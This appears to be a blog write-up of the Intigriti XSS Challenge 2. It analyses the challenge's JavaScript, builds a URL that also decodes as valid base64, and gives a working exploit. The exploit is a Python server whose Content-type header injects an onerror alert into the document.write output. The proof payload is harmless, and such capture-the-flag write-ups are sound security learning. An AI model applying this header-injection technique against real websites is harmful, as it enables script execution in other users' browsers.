$BLOG_TITLE

Intigriti XSS Challenge 2 and how I lost time to a bad assumption

Intigriti is once again offering us an XSS challenge. The first one had cryptic code and a complicated setup between the page and an iframe, but this time around the code is rather straight-forward. Let’s see if that makes the challenge easier. ;)

Analyzing the code

var b64img = window.location.hash.substr(1);
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
  if (this.readyState == 4 && this.status == 200) {
    var reader = new FileReader();
    reader.onloadend = function() {
      document.write(`
        <a href="${b64img}" alt="${atob(b64img)}">
          <img src="${reader.result}">
        </a>`);
    }
    reader.readAsDataURL(this.response);
  }
};
xhttp.responseType = 'blob';
xhttp.open("GET", b64img, true);
xhttp.send();
  1. The hash of the current page’s url (minus the leading #) is assigned to b64img
  2. A GET HTTP request is sent to b64img and the answer will be read as a Blob
  3. If the HTTP request answers with 200, the Blob is readAsDataURL with a FileReader
  4. Once the Blob is read, b64img, atob(b64img) and the data URL created from the Blob are inserted into the DOM

Main observations:

Finding a valid URL

As it was the case for the last challenge, I don’t care about XSS payloads yet. It’s pretty clear either b64img, atob(b64img) or reader.result will be where we get XSS from, but there is a major challenge before getting there: crafting a valid URL that is also valid base64!

The way its coded, a value for b64img without a protocol (i.e.: http://) will make a request relative to the current domain (https://challenge.intigriti.io/2/). For example if b64img is ABC it will trigger a request for https://challenge.intigriti.io/2/ABC while if b64img is http://test.com it will trigger a request for http://test.com.

At this point I made the assumption that / wasn’t a valid base64 character (worked too much with url-safe base64 implementations lately!) and lost a ton of time trying a ton of things that made no sense until @mastjohnny made me realize that it is a valid base64 character indeed. Many hours were lost exploring data URLs, XMLHttpRequest and FileReader for strange edge cases that would help me here but I should have verified my assumption instead. :)

Eliminating invalid characters

I started a server on my machine and tried loading https://challenge.intigriti.io/2/#http://127.0.0.1. This resulted in the following (expected) error

Uncaught DOMException: Failed to execute ‘atob’ on ‘Window’: The string to be decoded is not correctly encoded.

I need to get rid of the . and the : because they are invalid base64 characters. Two transformations are needed!

  1. Remove the . by changing the IP to a decimal IP: http://127.0.0.1 becomes http://2130706433 (See IPv4 Address Representations)
  2. Remove the : by using a protocol-relative URL: http://2130706433 becomes //2130706433
    • A protocol relative url will take the protocol of the parent page

With that I try https://challenge.intigriti.io/2/#//2130706433 and the result is the following error

GET https://127.0.0.1/ net::ERR_CONNECTION_REFUSED

The request went to https because I’m on the https version of the challenge. Let’s try http://challenge.intigriti.io/2/#//2130706433

Access to XMLHttpRequest at ‘http://127.0.0.1/’ from origin ‘http://challenge.intigriti.io’ has been blocked by CORS policy: No ‘Access-Control-Allow-Origin’ header is present on the requested resource.

There is no CORS header returned by my server so I need to add Access-Control-Allow-Origin: * to my response.

I can now reload the same URL and it loads without crashing!

XSS time

readAsDataURL returns a data URL which contains the Content-type of the resource loaded. For example the default challenge URL loads an image that turns into the data URL "data:application/octet-stream;base64,iVBORw0KGgoAAAANSUhEUgAAA0o...". This text is inserted straight into the HTML and I have control over the Content-type from my server so I set it to text/" onerror="alert(document.domain)"><!--. This is reflected in the HTML that is written in the document.write call like so

<!-- this -->
<a href="${b64img}" alt="${atob(b64img)}">
  <img src="${reader.result}">
</a>
<!-- becomes this -->
<a href="//2130706433" alt="ÿýµßNôë\u008d÷">
  <img src="data:text/" onerror="alert(document.domain)"><!--;base64,SGVsbG8gSW50aWdyaXRpIQ=="">
</a>

and the result is…

Success!

Success! I uploaded the simple HTTP server to my VPS, changed 127.0.0.1 to its public IP and submitted my solution. There were other ways to trigger the XSS but instead of listing them here I encourage you to go on twitter and find other write-ups documenting them.

Here’s the code used for my server.

#!/usr/bin/python3

from http.server import BaseHTTPRequestHandler, HTTPServer

class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        message = "Hello Intigriti!"

        self.protocol_version = "HTTP/1.1"
        self.send_response(200)
        self.send_header("Content-Length", len(message))
        self.send_header("Content-type", 'text/" onerror="alert(document.domain)"><!--')
        self.send_header("Access-Control-Allow-Origin", "*")
        self.end_headers()

        self.wfile.write(bytes(message, "utf8"))
        return

def run():
    server = ('0.0.0.0', 80)
    httpd = HTTPServer(server, RequestHandler)
    httpd.serve_forever()
run()

Conclusion

Another fun challenge! This time around my key takeaways are:

Thank you @intigriti and good luck to everyone for the prize!